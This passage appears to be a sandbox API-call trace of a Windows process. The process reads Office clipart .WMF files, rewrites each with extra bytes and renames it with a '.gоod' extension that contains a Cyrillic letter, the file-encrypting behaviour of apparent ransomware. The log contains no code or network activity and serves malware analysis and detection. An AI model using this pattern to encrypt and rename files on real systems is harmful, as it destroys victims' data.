lpOverlapped=0x0) returned 1 [0162.815] CloseHandle (hObject=0x768) returned 1 [0162.815] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF", lpFilePart=0x0) returned 0x44 [0162.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0162.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0162.815] GetFileType (hFile=0x768) returned 0x1 [0162.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0162.815] GetFileType (hFile=0x768) returned 0x1 [0162.815] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x17ac [0162.815] WriteFile (in: hFile=0x768, lpBuffer=0x33a8588*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x33a8588*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0162.815] CloseHandle (hObject=0x768) returned 1 [0162.816] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF", lpFilePart=0x0) returned 0x44 [0162.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0162.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0162.816] GetFileType (hFile=0x768) returned 0x1 [0162.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0162.816] GetFileType (hFile=0x768) returned 0x1 [0162.816] ReadFile (in: hFile=0x768, lpBuffer=0x33aa848, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x33aa848*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0164.345] CloseHandle (hObject=0x768) returned 1 [0164.345] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF", lpFilePart=0x0) returned 0x44 [0164.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0164.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0164.345] GetFileType (hFile=0x768) returned 0x1 [0164.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0164.345] GetFileType (hFile=0x768) returned 0x1 [0164.345] WriteFile (in: hFile=0x768, lpBuffer=0x32e80d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x32e80d8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0164.346] CloseHandle (hObject=0x768) returned 1 [0164.346] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF", lpFilePart=0x0) returned 0x44 [0164.346] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0164.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0164.346] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e2b7305, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17bc)) returned 1 [0164.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0164.346] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.gоod")) returned 1 [0164.347] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF", lpFilePart=0x0) returned 0x44 [0164.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0164.347] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3656940 | out: lpFileInformation=0x3656940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd58)) returned 1 [0164.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0164.347] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF", lpFilePart=0x0) returned 0x44 [0164.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0164.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0164.347] GetFileType (hFile=0x768) returned 0x1 [0164.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0164.347] GetFileType (hFile=0x768) returned 0x1 [0164.348] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xd58 [0164.348] ReadFile (in: hFile=0x768, lpBuffer=0x3657940, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3657940*, lpNumberOfBytesRead=0x1faedc88*=0xd58, lpOverlapped=0x0) returned 1 [0164.349] CloseHandle (hObject=0x768) returned 1 [0164.846] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF", lpFilePart=0x0) returned 0x44 [0164.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0164.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0164.847] GetFileType (hFile=0x768) returned 0x1 [0164.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0164.847] GetFileType (hFile=0x768) returned 0x1 [0164.847] WriteFile (in: hFile=0x768, lpBuffer=0x350a9d8*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x350a9d8*, lpNumberOfBytesWritten=0x1faedb98*=0xd60, lpOverlapped=0x0) returned 1 [0164.848] CloseHandle (hObject=0x768) returned 1 [0164.848] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF", lpFilePart=0x0) returned 0x44 [0164.848] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0164.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0164.848] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e77b4e7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd60)) returned 1 [0164.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0164.848] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.gоod")) returned 1 [0164.849] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF", lpFilePart=0x0) returned 0x44 [0164.849] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0164.849] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x350bc68 | out: lpFileInformation=0x350bc68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa4c)) returned 1 [0164.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0164.849] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF", lpFilePart=0x0) returned 0x44 [0164.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0164.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0164.850] GetFileType (hFile=0x768) returned 0x1 [0164.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0164.850] GetFileType (hFile=0x768) returned 0x1 [0164.850] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xa4c [0164.850] ReadFile (in: hFile=0x768, lpBuffer=0x350c960, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x350c960*, lpNumberOfBytesRead=0x1faedc88*=0xa4c, lpOverlapped=0x0) returned 1 [0164.851] CloseHandle (hObject=0x768) returned 1 [0164.992] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF", lpFilePart=0x0) returned 0x44 [0164.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0164.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0164.993] GetFileType (hFile=0x80c) returned 0x1 [0164.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0164.993] GetFileType (hFile=0x80c) returned 0x1 [0164.993] WriteFile (in: hFile=0x80c, lpBuffer=0x341b070*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x341b070*, lpNumberOfBytesWritten=0x1faedb98*=0xa50, lpOverlapped=0x0) returned 1 [0164.994] CloseHandle (hObject=0x80c) returned 1 [0164.994] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF", lpFilePart=0x0) returned 0x44 [0164.994] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0164.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0164.994] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e8f8cd5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa50)) returned 1 [0164.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0164.995] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.gоod")) returned 1 [0164.995] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF", lpFilePart=0x0) returned 0x44 [0164.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0164.995] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x341c300 | out: lpFileInformation=0x341c300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19ec)) returned 1 [0164.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0164.996] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF", lpFilePart=0x0) returned 0x44 [0164.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0164.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0164.996] GetFileType (hFile=0x80c) returned 0x1 [0164.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0164.996] GetFileType (hFile=0x80c) returned 0x1 [0164.996] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0164.996] ReadFile (in: hFile=0x80c, lpBuffer=0x341c718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x341c718*, lpNumberOfBytesRead=0x1faedd28*=0x9ec, lpOverlapped=0x0) returned 1 [0164.998] CloseHandle (hObject=0x80c) returned 1 [0164.998] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF", lpFilePart=0x0) returned 0x44 [0164.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0164.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0164.998] GetFileType (hFile=0x80c) returned 0x1 [0164.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0164.998] GetFileType (hFile=0x80c) returned 0x1 [0164.998] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x19ec [0164.998] WriteFile (in: hFile=0x80c, lpBuffer=0x341d9b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x341d9b0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0164.998] CloseHandle (hObject=0x80c) returned 1 [0164.998] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF", lpFilePart=0x0) returned 0x44 [0164.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0164.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0164.999] GetFileType (hFile=0x80c) returned 0x1 [0164.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0164.999] GetFileType (hFile=0x80c) returned 0x1 [0164.999] ReadFile (in: hFile=0x80c, lpBuffer=0x341fc70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x341fc70*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0166.416] CloseHandle (hObject=0x80c) returned 1 [0166.416] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF", lpFilePart=0x0) returned 0x44 [0166.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0166.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0166.416] GetFileType (hFile=0x80c) returned 0x1 [0166.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0166.416] GetFileType (hFile=0x80c) returned 0x1 [0166.416] WriteFile (in: hFile=0x80c, lpBuffer=0x3388098*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3388098*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0166.416] CloseHandle (hObject=0x80c) returned 1 [0166.416] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF", lpFilePart=0x0) returned 0x44 [0166.416] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0166.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0166.417] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f688316, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x19fc)) returned 1 [0166.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0166.417] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.gоod")) returned 1 [0166.418] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF", lpFilePart=0x0) returned 0x44 [0166.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0166.418] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program 